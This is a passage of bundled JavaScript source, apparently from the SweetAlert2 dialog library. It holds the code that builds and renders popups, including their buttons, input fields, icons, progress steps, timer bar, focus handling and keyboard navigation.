  1794. timerProgressBar.style.transition = `width ${timer / 1e3}s linear`;
  1795. timerProgressBar.style.width = "0%";
  1796. }, 10);
  1797. }
  1798. };
  1799. const stopTimerProgressBar = () => {
  1800. const timerProgressBar = getTimerProgressBar();
  1801. const timerProgressBarWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
  1802. timerProgressBar.style.removeProperty("transition");
  1803. timerProgressBar.style.width = "100%";
  1804. const timerProgressBarFullWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
  1805. const timerProgressBarPercent = timerProgressBarWidth / timerProgressBarFullWidth * 100;
  1806. timerProgressBar.style.removeProperty("transition");
  1807. timerProgressBar.style.width = `${timerProgressBarPercent}%`;
  1808. };
  1809. const RESTORE_FOCUS_TIMEOUT = 100;
  1810. const globalState = {};
  1811. const focusPreviousActiveElement = () => {
  1812. if (globalState.previousActiveElement instanceof HTMLElement) {
  1813. globalState.previousActiveElement.focus();
  1814. globalState.previousActiveElement = null;
  1815. } else if (document.body) {
  1816. document.body.focus();
  1817. }
  1818. };
  1819. const restoreActiveElement = (returnFocus) => {
  1820. return new Promise((resolve) => {
  1821. if (!returnFocus) {
  1822. return resolve();
  1823. }
  1824. const x = window.scrollX;
  1825. const y = window.scrollY;
  1826. globalState.restoreFocusTimeout = setTimeout(() => {
  1827. focusPreviousActiveElement();
  1828. resolve();
  1829. }, RESTORE_FOCUS_TIMEOUT);
  1830. window.scrollTo(x, y);
  1831. });
  1832. };
  1833. const isNodeEnv = () => typeof window === "undefined" || typeof document === "undefined";
  1834. const sweetHTML = `
  1835. <div aria-labelledby="${swalClasses.title}" aria-describedby="${swalClasses["html-container"]}" class="${swalClasses.popup}" tabindex="-1">
  1836. <button type="button" class="${swalClasses.close}"></button>
  1837. <ul class="${swalClasses["progress-steps"]}"></ul>
  1838. <div class="${swalClasses.icon}"></div>
  1839. <img class="${swalClasses.image}" />
  1840. <h2 class="${swalClasses.title}" id="${swalClasses.title}"></h2>
  1841. <div class="${swalClasses["html-container"]}" id="${swalClasses["html-container"]}"></div>
  1842. <input class="${swalClasses.input}" />
  1843. <input type="file" class="${swalClasses.file}" />
  1844. <div class="${swalClasses.range}">
  1845. <input type="range" />
  1846. <output></output>
  1847. </div>
  1848. <select class="${swalClasses.select}"></select>
  1849. <div class="${swalClasses.radio}"></div>
  1850. <label for="${swalClasses.checkbox}" class="${swalClasses.checkbox}">
  1851. <input type="checkbox" />
  1852. <span class="${swalClasses.label}"></span>
  1853. </label>
  1854. <textarea class="${swalClasses.textarea}"></textarea>
  1855. <div class="${swalClasses["validation-message"]}" id="${swalClasses["validation-message"]}"></div>
  1856. <div class="${swalClasses.actions}">
  1857. <div class="${swalClasses.loader}"></div>
  1858. <button type="button" class="${swalClasses.confirm}"></button>
  1859. <button type="button" class="${swalClasses.deny}"></button>
  1860. <button type="button" class="${swalClasses.cancel}"></button>
  1861. </div>
  1862. <div class="${swalClasses.footer}"></div>
  1863. <div class="${swalClasses["timer-progress-bar-container"]}">
  1864. <div class="${swalClasses["timer-progress-bar"]}"></div>
  1865. </div>
  1866. </div>
  1867. `.replace(/(^|\n)\s*/g, "");
  1868. const resetOldContainer = () => {
  1869. const oldContainer = getContainer();
  1870. if (!oldContainer) {
  1871. return false;
  1872. }
  1873. oldContainer.remove();
  1874. removeClass([document.documentElement, document.body], [swalClasses["no-backdrop"], swalClasses["toast-shown"], swalClasses["has-column"]]);
  1875. return true;
  1876. };
  1877. const resetValidationMessage$1 = () => {
  1878. globalState.currentInstance.resetValidationMessage();
  1879. };
  1880. const addInputChangeListeners = () => {
  1881. const popup = getPopup();
  1882. const input = getDirectChildByClass(popup, swalClasses.input);
  1883. const file = getDirectChildByClass(popup, swalClasses.file);
  1884. const range = popup.querySelector(`.${swalClasses.range} input`);
  1885. const rangeOutput = popup.querySelector(`.${swalClasses.range} output`);
  1886. const select = getDirectChildByClass(popup, swalClasses.select);
  1887. const checkbox = popup.querySelector(`.${swalClasses.checkbox} input`);
  1888. const textarea = getDirectChildByClass(popup, swalClasses.textarea);
  1889. input.oninput = resetValidationMessage$1;
  1890. file.onchange = resetValidationMessage$1;
  1891. select.onchange = resetValidationMessage$1;
  1892. checkbox.onchange = resetValidationMessage$1;
  1893. textarea.oninput = resetValidationMessage$1;
  1894. range.oninput = () => {
  1895. resetValidationMessage$1();
  1896. rangeOutput.value = range.value;
  1897. };
  1898. range.onchange = () => {
  1899. resetValidationMessage$1();
  1900. rangeOutput.value = range.value;
  1901. };
  1902. };
  1903. const getTarget = (target) => typeof target === "string" ? document.querySelector(target) : target;
  1904. const setupAccessibility = (params) => {
  1905. const popup = getPopup();
  1906. popup.setAttribute("role", params.toast ? "alert" : "dialog");
  1907. popup.setAttribute("aria-live", params.toast ? "polite" : "assertive");
  1908. if (!params.toast) {
  1909. popup.setAttribute("aria-modal", "true");
  1910. }
  1911. };
  1912. const setupRTL = (targetElement) => {
  1913. if (window.getComputedStyle(targetElement).direction === "rtl") {
  1914. addClass(getContainer(), swalClasses.rtl);
  1915. }
  1916. };
  1917. const init = (params) => {
  1918. const oldContainerExisted = resetOldContainer();
  1919. if (isNodeEnv()) {
  1920. error("SweetAlert2 requires document to initialize");
  1921. return;
  1922. }
  1923. const container = document.createElement("div");
  1924. container.className = swalClasses.container;
  1925. if (oldContainerExisted) {
  1926. addClass(container, swalClasses["no-transition"]);
  1927. }
  1928. setInnerHtml(container, sweetHTML);
  1929. const targetElement = getTarget(params.target);
  1930. targetElement.appendChild(container);
  1931. setupAccessibility(params);
  1932. setupRTL(targetElement);
  1933. addInputChangeListeners();
  1934. };
  1935. const parseHtmlToContainer = (param, target) => {
  1936. if (param instanceof HTMLElement) {
  1937. target.appendChild(param);
  1938. } else if (typeof param === "object") {
  1939. handleObject(param, target);
  1940. } else if (param) {
  1941. setInnerHtml(target, param);
  1942. }
  1943. };
  1944. const handleObject = (param, target) => {
  1945. if (param.jquery) {
  1946. handleJqueryElem(target, param);
  1947. } else {
  1948. setInnerHtml(target, param.toString());
  1949. }
  1950. };
  1951. const handleJqueryElem = (target, elem) => {
  1952. target.textContent = "";
  1953. if (0 in elem) {
  1954. for (let i = 0; i in elem; i++) {
  1955. target.appendChild(elem[i].cloneNode(true));
  1956. }
  1957. } else {
  1958. target.appendChild(elem.cloneNode(true));
  1959. }
  1960. };
  1961. const animationEndEvent = (() => {
  1962. if (isNodeEnv()) {
  1963. return false;
  1964. }
  1965. const testEl = document.createElement("div");
  1966. const transEndEventNames = {
  1967. WebkitAnimation: "webkitAnimationEnd",
  1968. animation: "animationend"
  1969. };
  1970. for (const i in transEndEventNames) {
  1971. if (Object.prototype.hasOwnProperty.call(transEndEventNames, i) && typeof testEl.style[i] !== "undefined") {
  1972. return transEndEventNames[i];
  1973. }
  1974. }
  1975. return false;
  1976. })();
  1977. const measureScrollbar = () => {
  1978. const scrollDiv = document.createElement("div");
  1979. scrollDiv.className = swalClasses["scrollbar-measure"];
  1980. document.body.appendChild(scrollDiv);
  1981. const scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth;
  1982. document.body.removeChild(scrollDiv);
  1983. return scrollbarWidth;
  1984. };
  1985. const renderActions = (instance, params) => {
  1986. const actions = getActions();
  1987. const loader = getLoader();
  1988. if (!params.showConfirmButton && !params.showDenyButton && !params.showCancelButton) {
  1989. hide(actions);
  1990. } else {
  1991. show(actions);
  1992. }
  1993. applyCustomClass(actions, params, "actions");
  1994. renderButtons(actions, loader, params);
  1995. setInnerHtml(loader, params.loaderHtml);
  1996. applyCustomClass(loader, params, "loader");
  1997. };
  1998. function renderButtons(actions, loader, params) {
  1999. const confirmButton = getConfirmButton();
  2000. const denyButton = getDenyButton();
  2001. const cancelButton = getCancelButton();
  2002. renderButton(confirmButton, "confirm", params);
  2003. renderButton(denyButton, "deny", params);
  2004. renderButton(cancelButton, "cancel", params);
  2005. handleButtonsStyling(confirmButton, denyButton, cancelButton, params);
  2006. if (params.reverseButtons) {
  2007. if (params.toast) {
  2008. actions.insertBefore(cancelButton, confirmButton);
  2009. actions.insertBefore(denyButton, confirmButton);
  2010. } else {
  2011. actions.insertBefore(cancelButton, loader);
  2012. actions.insertBefore(denyButton, loader);
  2013. actions.insertBefore(confirmButton, loader);
  2014. }
  2015. }
  2016. }
  2017. function handleButtonsStyling(confirmButton, denyButton, cancelButton, params) {
  2018. if (!params.buttonsStyling) {
  2019. removeClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
  2020. return;
  2021. }
  2022. addClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
  2023. if (params.confirmButtonColor) {
  2024. confirmButton.style.backgroundColor = params.confirmButtonColor;
  2025. addClass(confirmButton, swalClasses["default-outline"]);
  2026. }
  2027. if (params.denyButtonColor) {
  2028. denyButton.style.backgroundColor = params.denyButtonColor;
  2029. addClass(denyButton, swalClasses["default-outline"]);
  2030. }
  2031. if (params.cancelButtonColor) {
  2032. cancelButton.style.backgroundColor = params.cancelButtonColor;
  2033. addClass(cancelButton, swalClasses["default-outline"]);
  2034. }
  2035. }
  2036. function renderButton(button, buttonType, params) {
  2037. toggle(button, params[`show${capitalizeFirstLetter(buttonType)}Button`], "inline-block");
  2038. setInnerHtml(button, params[`${buttonType}ButtonText`]);
  2039. button.setAttribute("aria-label", params[`${buttonType}ButtonAriaLabel`]);
  2040. button.className = swalClasses[buttonType];
  2041. applyCustomClass(button, params, `${buttonType}Button`);
  2042. addClass(button, params[`${buttonType}ButtonClass`]);
  2043. }
  2044. const renderCloseButton = (instance, params) => {
  2045. const closeButton = getCloseButton();
  2046. setInnerHtml(closeButton, params.closeButtonHtml);
  2047. applyCustomClass(closeButton, params, "closeButton");
  2048. toggle(closeButton, params.showCloseButton);
  2049. closeButton.setAttribute("aria-label", params.closeButtonAriaLabel);
  2050. };
  2051. const renderContainer = (instance, params) => {
  2052. const container = getContainer();
  2053. if (!container) {
  2054. return;
  2055. }
  2056. handleBackdropParam(container, params.backdrop);
  2057. handlePositionParam(container, params.position);
  2058. handleGrowParam(container, params.grow);
  2059. applyCustomClass(container, params, "container");
  2060. };
  2061. function handleBackdropParam(container, backdrop) {
  2062. if (typeof backdrop === "string") {
  2063. container.style.background = backdrop;
  2064. } else if (!backdrop) {
  2065. addClass([document.documentElement, document.body], swalClasses["no-backdrop"]);
  2066. }
  2067. }
  2068. function handlePositionParam(container, position) {
  2069. if (position in swalClasses) {
  2070. addClass(container, swalClasses[position]);
  2071. } else {
  2072. warn('The "position" parameter is not valid, defaulting to "center"');
  2073. addClass(container, swalClasses.center);
  2074. }
  2075. }
  2076. function handleGrowParam(container, grow) {
  2077. if (grow && typeof grow === "string") {
  2078. const growClass = `grow-${grow}`;
  2079. if (growClass in swalClasses) {
  2080. addClass(container, swalClasses[growClass]);
  2081. }
  2082. }
  2083. }
  2084. const inputClasses = ["input", "file", "range", "select", "radio", "checkbox", "textarea"];
  2085. const renderInput = (instance, params) => {
  2086. const popup = getPopup();
  2087. const innerParams = privateProps.innerParams.get(instance);
  2088. const rerender = !innerParams || params.input !== innerParams.input;
  2089. inputClasses.forEach((inputClass) => {
  2090. const inputContainer = getDirectChildByClass(popup, swalClasses[inputClass]);
  2091. setAttributes(inputClass, params.inputAttributes);
  2092. inputContainer.className = swalClasses[inputClass];
  2093. if (rerender) {
  2094. hide(inputContainer);
  2095. }
  2096. });
  2097. if (params.input) {
  2098. if (rerender) {
  2099. showInput(params);
  2100. }
  2101. setCustomClass(params);
  2102. }
  2103. };
  2104. const showInput = (params) => {
  2105. if (!renderInputType[params.input]) {
  2106. error(`Unexpected type of input! Expected "text", "email", "password", "number", "tel", "select", "radio", "checkbox", "textarea", "file" or "url", got "${params.input}"`);
  2107. return;
  2108. }
  2109. const inputContainer = getInputContainer(params.input);
  2110. const input = renderInputType[params.input](inputContainer, params);
  2111. show(inputContainer);
  2112. setTimeout(() => {
  2113. focusInput(input);
  2114. });
  2115. };
  2116. const removeAttributes = (input) => {
  2117. for (let i = 0; i < input.attributes.length; i++) {
  2118. const attrName = input.attributes[i].name;
  2119. if (!["type", "value", "style"].includes(attrName)) {
  2120. input.removeAttribute(attrName);
  2121. }
  2122. }
  2123. };
  2124. const setAttributes = (inputClass, inputAttributes) => {
  2125. const input = getInput$1(getPopup(), inputClass);
  2126. if (!input) {
  2127. return;
  2128. }
  2129. removeAttributes(input);
  2130. for (const attr in inputAttributes) {
  2131. input.setAttribute(attr, inputAttributes[attr]);
  2132. }
  2133. };
  2134. const setCustomClass = (params) => {
  2135. const inputContainer = getInputContainer(params.input);
  2136. if (typeof params.customClass === "object") {
  2137. addClass(inputContainer, params.customClass.input);
  2138. }
  2139. };
  2140. const setInputPlaceholder = (input, params) => {
  2141. if (!input.placeholder || params.inputPlaceholder) {
  2142. input.placeholder = params.inputPlaceholder;
  2143. }
  2144. };
  2145. const setInputLabel = (input, prependTo, params) => {
  2146. if (params.inputLabel) {
  2147. input.id = swalClasses.input;
  2148. const label = document.createElement("label");
  2149. const labelClass = swalClasses["input-label"];
  2150. label.setAttribute("for", input.id);
  2151. label.className = labelClass;
  2152. if (typeof params.customClass === "object") {
  2153. addClass(label, params.customClass.inputLabel);
  2154. }
  2155. label.innerText = params.inputLabel;
  2156. prependTo.insertAdjacentElement("beforebegin", label);
  2157. }
  2158. };
  2159. const getInputContainer = (inputType) => {
  2160. return getDirectChildByClass(getPopup(), swalClasses[inputType] || swalClasses.input);
  2161. };
  2162. const checkAndSetInputValue = (input, inputValue) => {
  2163. if (["string", "number"].includes(typeof inputValue)) {
  2164. input.value = `${inputValue}`;
  2165. } else if (!isPromise(inputValue)) {
  2166. warn(`Unexpected type of inputValue! Expected "string", "number" or "Promise", got "${typeof inputValue}"`);
  2167. }
  2168. };
  2169. const renderInputType = {};
  2170. renderInputType.text = renderInputType.email = renderInputType.password = renderInputType.number = renderInputType.tel = renderInputType.url = (input, params) => {
  2171. checkAndSetInputValue(input, params.inputValue);
  2172. setInputLabel(input, input, params);
  2173. setInputPlaceholder(input, params);
  2174. input.type = params.input;
  2175. return input;
  2176. };
  2177. renderInputType.file = (input, params) => {
  2178. setInputLabel(input, input, params);
  2179. setInputPlaceholder(input, params);
  2180. return input;
  2181. };
  2182. renderInputType.range = (range, params) => {
  2183. const rangeInput = range.querySelector("input");
  2184. const rangeOutput = range.querySelector("output");
  2185. checkAndSetInputValue(rangeInput, params.inputValue);
  2186. rangeInput.type = params.input;
  2187. checkAndSetInputValue(rangeOutput, params.inputValue);
  2188. setInputLabel(rangeInput, range, params);
  2189. return range;
  2190. };
  2191. renderInputType.select = (select, params) => {
  2192. select.textContent = "";
  2193. if (params.inputPlaceholder) {
  2194. const placeholder = document.createElement("option");
  2195. setInnerHtml(placeholder, params.inputPlaceholder);
  2196. placeholder.value = "";
  2197. placeholder.disabled = true;
  2198. placeholder.selected = true;
  2199. select.appendChild(placeholder);
  2200. }
  2201. setInputLabel(select, select, params);
  2202. return select;
  2203. };
  2204. renderInputType.radio = (radio) => {
  2205. radio.textContent = "";
  2206. return radio;
  2207. };
  2208. renderInputType.checkbox = (checkboxContainer, params) => {
  2209. const checkbox = getInput$1(getPopup(), "checkbox");
  2210. checkbox.value = "1";
  2211. checkbox.id = swalClasses.checkbox;
  2212. checkbox.checked = Boolean(params.inputValue);
  2213. const label = checkboxContainer.querySelector("span");
  2214. setInnerHtml(label, params.inputPlaceholder);
  2215. return checkbox;
  2216. };
  2217. renderInputType.textarea = (textarea, params) => {
  2218. checkAndSetInputValue(textarea, params.inputValue);
  2219. setInputPlaceholder(textarea, params);
  2220. setInputLabel(textarea, textarea, params);
  2221. const getMargin = (el) => parseInt(window.getComputedStyle(el).marginLeft) + parseInt(window.getComputedStyle(el).marginRight);
  2222. setTimeout(() => {
  2223. if ("MutationObserver" in window) {
  2224. const initialPopupWidth = parseInt(window.getComputedStyle(getPopup()).width);
  2225. const textareaResizeHandler = () => {
  2226. const textareaWidth = textarea.offsetWidth + getMargin(textarea);
  2227. if (textareaWidth > initialPopupWidth) {
  2228. getPopup().style.width = `${textareaWidth}px`;
  2229. } else {
  2230. getPopup().style.width = null;
  2231. }
  2232. };
  2233. new MutationObserver(textareaResizeHandler).observe(textarea, {
  2234. attributes: true,
  2235. attributeFilter: ["style"]
  2236. });
  2237. }
  2238. });
  2239. return textarea;
  2240. };
  2241. const renderContent = (instance, params) => {
  2242. const htmlContainer = getHtmlContainer();
  2243. applyCustomClass(htmlContainer, params, "htmlContainer");
  2244. if (params.html) {
  2245. parseHtmlToContainer(params.html, htmlContainer);
  2246. show(htmlContainer, "block");
  2247. } else if (params.text) {
  2248. htmlContainer.textContent = params.text;
  2249. show(htmlContainer, "block");
  2250. } else {
  2251. hide(htmlContainer);
  2252. }
  2253. renderInput(instance, params);
  2254. };
  2255. const renderFooter = (instance, params) => {
  2256. const footer = getFooter();
  2257. toggle(footer, params.footer);
  2258. if (params.footer) {
  2259. parseHtmlToContainer(params.footer, footer);
  2260. }
  2261. applyCustomClass(footer, params, "footer");
  2262. };
  2263. const renderIcon = (instance, params) => {
  2264. const innerParams = privateProps.innerParams.get(instance);
  2265. const icon = getIcon();
  2266. if (innerParams && params.icon === innerParams.icon) {
  2267. setContent(icon, params);
  2268. applyStyles(icon, params);
  2269. return;
  2270. }
  2271. if (!params.icon && !params.iconHtml) {
  2272. hide(icon);
  2273. return;
  2274. }
  2275. if (params.icon && Object.keys(iconTypes).indexOf(params.icon) === -1) {
  2276. error(`Unknown icon! Expected "success", "error", "warning", "info" or "question", got "${params.icon}"`);
  2277. hide(icon);
  2278. return;
  2279. }
  2280. show(icon);
  2281. setContent(icon, params);
  2282. applyStyles(icon, params);
  2283. addClass(icon, params.showClass.icon);
  2284. };
  2285. const applyStyles = (icon, params) => {
  2286. for (const iconType in iconTypes) {
  2287. if (params.icon !== iconType) {
  2288. removeClass(icon, iconTypes[iconType]);
  2289. }
  2290. }
  2291. addClass(icon, iconTypes[params.icon]);
  2292. setColor(icon, params);
  2293. adjustSuccessIconBackgroundColor();
  2294. applyCustomClass(icon, params, "icon");
  2295. };
  2296. const adjustSuccessIconBackgroundColor = () => {
  2297. const popup = getPopup();
  2298. const popupBackgroundColor = window.getComputedStyle(popup).getPropertyValue("background-color");
  2299. const successIconParts = popup.querySelectorAll("[class^=swal2-success-circular-line], .swal2-success-fix");
  2300. for (let i = 0; i < successIconParts.length; i++) {
  2301. successIconParts[i].style.backgroundColor = popupBackgroundColor;
  2302. }
  2303. };
  2304. const successIconHtml = `
  2305. <div class="swal2-success-circular-line-left"></div>
  2306. <span class="swal2-success-line-tip"></span> <span class="swal2-success-line-long"></span>
  2307. <div class="swal2-success-ring"></div> <div class="swal2-success-fix"></div>
  2308. <div class="swal2-success-circular-line-right"></div>
  2309. `;
  2310. const errorIconHtml = `
  2311. <span class="swal2-x-mark">
  2312. <span class="swal2-x-mark-line-left"></span>
  2313. <span class="swal2-x-mark-line-right"></span>
  2314. </span>
  2315. `;
  2316. const setContent = (icon, params) => {
  2317. let oldContent = icon.innerHTML;
  2318. let newContent;
  2319. if (params.iconHtml) {
  2320. newContent = iconContent(params.iconHtml);
  2321. } else if (params.icon === "success") {
  2322. newContent = successIconHtml;
  2323. oldContent = oldContent.replace(/ style=".*?"/g, "");
  2324. } else if (params.icon === "error") {
  2325. newContent = errorIconHtml;
  2326. } else {
  2327. const defaultIconHtml = {
  2328. question: "?",
  2329. warning: "!",
  2330. info: "i"
  2331. };
  2332. newContent = iconContent(defaultIconHtml[params.icon]);
  2333. }
  2334. if (oldContent.trim() !== newContent.trim()) {
  2335. setInnerHtml(icon, newContent);
  2336. }
  2337. };
  2338. const setColor = (icon, params) => {
  2339. if (!params.iconColor) {
  2340. return;
  2341. }
  2342. icon.style.color = params.iconColor;
  2343. icon.style.borderColor = params.iconColor;
  2344. for (const sel of [".swal2-success-line-tip", ".swal2-success-line-long", ".swal2-x-mark-line-left", ".swal2-x-mark-line-right"]) {
  2345. setStyle(icon, sel, "backgroundColor", params.iconColor);
  2346. }
  2347. setStyle(icon, ".swal2-success-ring", "borderColor", params.iconColor);
  2348. };
  2349. const iconContent = (content) => `<div class="${swalClasses["icon-content"]}">${content}</div>`;
  2350. const renderImage = (instance, params) => {
  2351. const image = getImage();
  2352. if (!params.imageUrl) {
  2353. hide(image);
  2354. return;
  2355. }
  2356. show(image, "");
  2357. image.setAttribute("src", params.imageUrl);
  2358. image.setAttribute("alt", params.imageAlt);
  2359. applyNumericalStyle(image, "width", params.imageWidth);
  2360. applyNumericalStyle(image, "height", params.imageHeight);
  2361. image.className = swalClasses.image;
  2362. applyCustomClass(image, params, "image");
  2363. };
  2364. const renderPopup = (instance, params) => {
  2365. const container = getContainer();
  2366. const popup = getPopup();
  2367. if (params.toast) {
  2368. applyNumericalStyle(container, "width", params.width);
  2369. popup.style.width = "100%";
  2370. popup.insertBefore(getLoader(), getIcon());
  2371. } else {
  2372. applyNumericalStyle(popup, "width", params.width);
  2373. }
  2374. applyNumericalStyle(popup, "padding", params.padding);
  2375. if (params.color) {
  2376. popup.style.color = params.color;
  2377. }
  2378. if (params.background) {
  2379. popup.style.background = params.background;
  2380. }
  2381. hide(getValidationMessage());
  2382. addClasses$1(popup, params);
  2383. };
  2384. const addClasses$1 = (popup, params) => {
  2385. popup.className = `${swalClasses.popup} ${isVisible$1(popup) ? params.showClass.popup : ""}`;
  2386. if (params.toast) {
  2387. addClass([document.documentElement, document.body], swalClasses["toast-shown"]);
  2388. addClass(popup, swalClasses.toast);
  2389. } else {
  2390. addClass(popup, swalClasses.modal);
  2391. }
  2392. applyCustomClass(popup, params, "popup");
  2393. if (typeof params.customClass === "string") {
  2394. addClass(popup, params.customClass);
  2395. }
  2396. if (params.icon) {
  2397. addClass(popup, swalClasses[`icon-${params.icon}`]);
  2398. }
  2399. };
  2400. const renderProgressSteps = (instance, params) => {
  2401. const progressStepsContainer = getProgressSteps();
  2402. if (!params.progressSteps || params.progressSteps.length === 0) {
  2403. hide(progressStepsContainer);
  2404. return;
  2405. }
  2406. show(progressStepsContainer);
  2407. progressStepsContainer.textContent = "";
  2408. if (params.currentProgressStep >= params.progressSteps.length) {
  2409. warn("Invalid currentProgressStep parameter, it should be less than progressSteps.length (currentProgressStep like JS arrays starts from 0)");
  2410. }
  2411. params.progressSteps.forEach((step, index) => {
  2412. const stepEl = createStepElement(step);
  2413. progressStepsContainer.appendChild(stepEl);
  2414. if (index === params.currentProgressStep) {
  2415. addClass(stepEl, swalClasses["active-progress-step"]);
  2416. }
  2417. if (index !== params.progressSteps.length - 1) {
  2418. const lineEl = createLineElement(params);
  2419. progressStepsContainer.appendChild(lineEl);
  2420. }
  2421. });
  2422. };
  2423. const createStepElement = (step) => {
  2424. const stepEl = document.createElement("li");
  2425. addClass(stepEl, swalClasses["progress-step"]);
  2426. setInnerHtml(stepEl, step);
  2427. return stepEl;
  2428. };
  2429. const createLineElement = (params) => {
  2430. const lineEl = document.createElement("li");
  2431. addClass(lineEl, swalClasses["progress-step-line"]);
  2432. if (params.progressStepsDistance) {
  2433. applyNumericalStyle(lineEl, "width", params.progressStepsDistance);
  2434. }
  2435. return lineEl;
  2436. };
  2437. const renderTitle = (instance, params) => {
  2438. const title = getTitle();
  2439. toggle(title, params.title || params.titleText, "block");
  2440. if (params.title) {
  2441. parseHtmlToContainer(params.title, title);
  2442. }
  2443. if (params.titleText) {
  2444. title.innerText = params.titleText;
  2445. }
  2446. applyCustomClass(title, params, "title");
  2447. };
  2448. const render = (instance, params) => {
  2449. renderPopup(instance, params);
  2450. renderContainer(instance, params);
  2451. renderProgressSteps(instance, params);
  2452. renderIcon(instance, params);
  2453. renderImage(instance, params);
  2454. renderTitle(instance, params);
  2455. renderCloseButton(instance, params);
  2456. renderContent(instance, params);
  2457. renderActions(instance, params);
  2458. renderFooter(instance, params);
  2459. if (typeof params.didRender === "function") {
  2460. params.didRender(getPopup());
  2461. }
  2462. };
  2463. function hideLoading() {
  2464. const innerParams = privateProps.innerParams.get(this);
  2465. if (!innerParams) {
  2466. return;
  2467. }
  2468. const domCache = privateProps.domCache.get(this);
  2469. hide(domCache.loader);
  2470. if (isToast()) {
  2471. if (innerParams.icon) {
  2472. show(getIcon());
  2473. }
  2474. } else {
  2475. showRelatedButton(domCache);
  2476. }
  2477. removeClass([domCache.popup, domCache.actions], swalClasses.loading);
  2478. domCache.popup.removeAttribute("aria-busy");
  2479. domCache.popup.removeAttribute("data-loading");
  2480. domCache.confirmButton.disabled = false;
  2481. domCache.denyButton.disabled = false;
  2482. domCache.cancelButton.disabled = false;
  2483. }
  2484. const showRelatedButton = (domCache) => {
  2485. const buttonToReplace = domCache.popup.getElementsByClassName(domCache.loader.getAttribute("data-button-to-replace"));
  2486. if (buttonToReplace.length) {
  2487. show(buttonToReplace[0], "inline-block");
  2488. } else if (allButtonsAreHidden()) {
  2489. hide(domCache.actions);
  2490. }
  2491. };
  2492. function getInput(instance) {
  2493. const innerParams = privateProps.innerParams.get(instance || this);
  2494. const domCache = privateProps.domCache.get(instance || this);
  2495. if (!domCache) {
  2496. return null;
  2497. }
  2498. return getInput$1(domCache.popup, innerParams.input);
  2499. }
  2500. const isVisible = () => {
  2501. return isVisible$1(getPopup());
  2502. };
  2503. const clickConfirm = () => getConfirmButton() && getConfirmButton().click();
  2504. const clickDeny = () => getDenyButton() && getDenyButton().click();
  2505. const clickCancel = () => getCancelButton() && getCancelButton().click();
  2506. const DismissReason = Object.freeze({
  2507. cancel: "cancel",
  2508. backdrop: "backdrop",
  2509. close: "close",
  2510. esc: "esc",
  2511. timer: "timer"
  2512. });
  2513. const removeKeydownHandler = (globalState2) => {
  2514. if (globalState2.keydownTarget && globalState2.keydownHandlerAdded) {
  2515. globalState2.keydownTarget.removeEventListener("keydown", globalState2.keydownHandler, {
  2516. capture: globalState2.keydownListenerCapture
  2517. });
  2518. globalState2.keydownHandlerAdded = false;
  2519. }
  2520. };
  2521. const addKeydownHandler = (instance, globalState2, innerParams, dismissWith) => {
  2522. removeKeydownHandler(globalState2);
  2523. if (!innerParams.toast) {
  2524. globalState2.keydownHandler = (e) => keydownHandler(instance, e, dismissWith);
  2525. globalState2.keydownTarget = innerParams.keydownListenerCapture ? window : getPopup();
  2526. globalState2.keydownListenerCapture = innerParams.keydownListenerCapture;
  2527. globalState2.keydownTarget.addEventListener("keydown", globalState2.keydownHandler, {
  2528. capture: globalState2.keydownListenerCapture
  2529. });
  2530. globalState2.keydownHandlerAdded = true;
  2531. }
  2532. };
  2533. const setFocus = (index, increment) => {
  2534. const focusableElements = getFocusableElements();
  2535. if (focusableElements.length) {
  2536. index = index + increment;
  2537. if (index === focusableElements.length) {
  2538. index = 0;
  2539. } else if (index === -1) {
  2540. index = focusableElements.length - 1;
  2541. }
  2542. focusableElements[index].focus();
  2543. return;
  2544. }
  2545. getPopup().focus();
  2546. };
  2547. const arrowKeysNextButton = ["ArrowRight", "ArrowDown"];
  2548. const arrowKeysPreviousButton = ["ArrowLeft", "ArrowUp"];
  2549. const keydownHandler = (instance, event, dismissWith) => {
  2550. const innerParams = privateProps.innerParams.get(instance);
  2551. if (!innerParams) {
  2552. return;
  2553. }
  2554. if (event.isComposing || event.keyCode === 229) {
  2555. return;
  2556. }
  2557. if (innerParams.stopKeydownPropagation) {
  2558. event.stopPropagation();
  2559. }
  2560. if (event.key === "Enter") {
  2561. handleEnter(instance, event, innerParams);
  2562. } else if (event.key === "Tab") {
  2563. handleTab(event);
  2564. } else if ([...arrowKeysNextButton, ...arrowKeysPreviousButton].includes(event.key)) {
  2565. handleArrows(event.key);
  2566. } else if (event.key === "Escape") {
  2567. handleEsc(event, innerParams, dismissWith);
  2568. }
  2569. };
  2570. const handleEnter = (instance, event, innerParams) => {
  2571. if (!callIfFunction(innerParams.allowEnterKey)) {
  2572. return;
  2573. }
  2574. if (event.target && instance.getInput() && event.target instanceof HTMLElement && event.target.outerHTML === instance.getInput().outerHTML) {
  2575. if (["textarea", "file"].includes(innerParams.input)) {
  2576. return;
  2577. }
  2578. clickConfirm();
  2579. event.preventDefault();
  2580. }
  2581. };
  2582. const handleTab = (event) => {
  2583. const targetElement = event.target;
  2584. const focusableElements = getFocusableElements();
  2585. let btnIndex = -1;
  2586. for (let i = 0; i < focusableElements.length; i++) {
  2587. if (targetElement === focusableElements[i]) {
  2588. btnIndex = i;
  2589. break;
  2590. }
  2591. }
  2592. if (!event.shiftKey) {
  2593. setFocus(btnIndex, 1);
  2594. } else {
  2595. setFocus(btnIndex, -1);
  2596. }
  2597. event.stopPropagation();
  2598. event.preventDefault();
  2599. };
  2600. const handleArrows = (key) => {
  2601. const confirmButton = getConfirmButton();
  2602. const denyButton = getDenyButton();
  2603. const cancelButton = getCancelButton();
  2604. if (document.activeElement instanceof HTMLElement && ![confirmButton, denyButton, cancelButton].includes(document.activeElement)) {
  2605. return;
  2606. }
  2607. const sibling = arrowKeysNextButton.includes(key) ? "nextElementSibling" : "previousElementSibling";
  2608. let buttonToFocus = document.activeElement;
  2609. for (let i = 0; i < getActions().children.length; i++) {
  2610. buttonToFocus = buttonToFocus[sibling];
  2611. if (!buttonToFocus) {
  2612. return;
  2613. }
  2614. if (buttonToFocus instanceof HTMLButtonElement && isVisible$1(buttonToFocus)) {
  2615. break;
  2616. }
  2617. }
  2618. if (buttonToFocus instanceof HTMLButtonElement) {
  2619. buttonToFocus.focus();
  2620. }
  2621. };
  2622. const handleEsc = (event, innerParams, dismissWith) => {
  2623. if (callIfFunction(innerParams.allowEscapeKey)) {
  2624. event.preventDefault();
  2625. dismissWith(DismissReason.esc);
  2626. }
  2627. };
  2628. var privateMethods = {
  2629. swalPromiseResolve: /* @__PURE__ */ new WeakMap(),
